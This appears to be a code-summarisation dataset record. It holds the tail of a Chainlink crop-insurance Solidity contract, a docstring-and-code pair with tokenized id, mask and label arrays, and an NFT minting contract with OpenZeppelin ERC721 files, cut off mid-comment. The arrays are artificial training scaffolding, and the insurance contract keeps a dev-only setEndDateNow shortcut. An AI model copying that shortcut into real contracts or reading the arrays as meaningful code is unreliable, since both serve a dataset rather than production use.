0)); // saves date of request to history counter = 0; tempResult = 0; // sends a chainlink request for every job in list for(uint256 i; i<jobIds.length; i++) { // new chainlink request Chainlink.Request memory req = buildChainlinkRequest(jobIds[i].jobId, address(this), this.checkInsuranceCase.selector); // adding location to request, if requested adapter is openweathermap adapter if(keccak256(abi.encodePacked(jobIds[i].source )) == keccak256(abi.encodePacked('owm'))) req.add("city", location); // adding 'swbb5d' geohash to request, if requested adapter is exm adapter if(keccak256(abi.encodePacked(jobIds[i].source )) == keccak256(abi.encodePacked('exm'))) req.add('geohash', 'swbb5d'); //sends chainlink request sendChainlinkRequestTo(oracle, req, fee); } } // add a new chainlink job to contract // can only called by insurance contract factory (while contract creation) function addJob(string calldata name, bytes32 jobId, string calldata source) external onlyIcFactory { jobIds.push(Job(name, jobId, source)); } // Checks whether an insured event has occurred or the term has been exceeded. // If the term is exceeded, the factory contract gets its funds back. // If an insured event occurs, the creator of the contract receives the insured amount. function checkInsuranceCase(bytes32 _requestId, uint256 externalValue) public recordChainlinkFulfillment(_requestId) { require(isActive, 'contract is no longer active'); // counts the number of chainlink request results counter++; // adding all results to temporary result tempResult += externalValue; if(counter==jobIds.length) { // calculate the average uint256 average = tempResult.div(jobIds.length); // add average of latest values to history requestHistory[requestHistory.length-1].value = average; // checks insurance conditions if(isPeriod()) { if(isInsuranceCase(average)) { endContract(true); // its an insurance case } } else { endContract(false); // insurance period is over, it is no insurance case } } } function getCrop() external view returns (uint256) { return crop; } // returns state values function getAllContractData() public view returns(address payable, // creator address payable, // icFactory Job[] memory, // jobIds string memory, // location uint256, // crop uint256, // endDate uint256, // creation date uint256, // threshold uint256, // weatherCondition uint256, // weatherConMax uint256, // weatherConMin bool, // isActive RequestData[] memory) { return(creator, icFactory, jobIds, location, crop, creationDate, endDate, threshold, weatherCondition, weatherConMax, weatherConMin, isActive, requestHistory); } function getBaseData() public view returns (address, address, uint256, Job[] memory, bool) { return(creator, icFactory, creationDate, jobIds, isActive); } // dev functions function setEndDateNow() external onlyIcFactory { endDate = block.timestamp; } }
date of contract creation
uint256 public creationDate;
1,087,757
[ 1, 712, 434, 6835, 6710, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 6710, 1626, 31, 540, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.8.4; // import "hardhat/console.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; contract CCML is ERC721, ERC721Enumerable, Ownable { using Strings for uint256; uint256 public constant tokenPrice = 200000000000000000 wei; // 0.2 ETH // uint256 public constant tokenPrice = 200000000000; // 0.00002 ETH price for testing uint256 public maxNftSupply = 10000; bool public publicSale = false; string public _baseURIextended = "ipfs://QmeGRGymLZus4bThvyUnQeGD2SWREZTZuPrsGddepKPnvA/"; string public baseExtension = ".json"; // WhiteLists for presale. mapping(address => bool) private _whitelist; mapping(uint256 => bool) private _minted; constructor() payable ERC721("CRYPTOCAMEL", "CCML") { _whitelist[msg.sender] = true; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "CCML: URI query for nonexistent token"); string memory currentBaseURI = _baseURI(); return string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)); } function setBaseURI(string memory _uri) external onlyOwner { _baseURIextended = _uri; } function _baseURI() internal view virtual override returns (string memory) { return _baseURIextended; } function flipPublicMinting() external onlyOwner { publicSale = !publicSale; } function airdrop(uint256[] memory _ids, address[] memory _owners) external payable onlyOwner { require(_ids.length > 0 && _owners.length > 0, "CCML: must provide at least one token and owner"); require(_ids.length == _owners.length, "CCML: ids and owners must have the same length"); // verify the tokens exist first for (uint256 i = 0; i < _ids.length; i++) { require(_minted[_ids[i]] == false, "CCML: One or more of these ids are taken"); require( _ids[i] <= maxNftSupply, "CCML: One or more of these ids are greater than the max number of tokens" ); } for (uint256 i = 0; i < _ids.length; i++) { _minted[_ids[i]] = true; _safeMint(_owners[i], _ids[i]); } } function presaleMint(uint256[] memory _ids) external payable { uint256 numTokens = _ids.length; // require(numTokens > 0, "CCML: Must supply positive number for tokens to mint"); // require(totalSupply() + numTokens <= maxNftSupply, "CCML: Purchase would exceed max supply of tokens"); require(_whitelist[msg.sender] == true, "CCML: sender is not whitelisted for presale"); require(tokenPrice * numTokens <= msg.value, "CCML: Insufficient funds sent for purchase"); require((totalSupply() + numTokens) <= maxNftSupply, "CCML: Mint would exceed max supply of tokens"); // for (uint256 i = 0; i < numTokens; i++) { // // mints a new token right off the top of the supply // _minted[totalSupply()] = true; // _safeMint(msg.sender, totalSupply()); // } // verify the tokens exist first for (uint256 i = 0; i < numTokens; i++) { require(_minted[_ids[i]] == false, "CCML: One or more of these ids are taken"); require( _ids[i] <= maxNftSupply, "CCML: One or more of these ids are greater than the max number of tokens" ); } for (uint256 i = 0; i < numTokens; i++) { if (totalSupply() < maxNftSupply) { _minted[_ids[i]] = true; _safeMint(msg.sender, _ids[i]); } } } function mint(uint256[] memory _ids) external payable { uint256 numTokens = _ids.length; require(publicSale, "CCML: Public sales aren't available yet"); require((tokenPrice * numTokens) <= msg.value, "CCML: Insufficient funds sent for purchase"); require((totalSupply() + numTokens) <= maxNftSupply, "CCML: Mint would exceed max supply of tokens"); // verify the tokens exist first for (uint256 i = 0; i < numTokens; i++) { require(_minted[_ids[i]] == false, "CCML: One or more of these ids are taken"); require( _ids[i] <= maxNftSupply, "CCML: One or more of these ids are greater than the max number of tokens" ); } for (uint256 i = 0; i < numTokens; i++) { if (totalSupply() < maxNftSupply) { _minted[_ids[i]] = true; _safeMint(msg.sender, _ids[i]); } } } function whitelistAdd(address[] memory _wallets) external onlyOwner { for (uint256 i = 0; i < _wallets.length; i++) { _whitelist[_wallets[i]] = true; } } function whitelistRemove(address[] memory _wallets) external onlyOwner { for (uint256 i = 0; i < _wallets.length; i++) { _whitelist[_wallets[i]] = false; } } function withdraw() external payable onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } fallback() external payable {} receive() external payable {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token 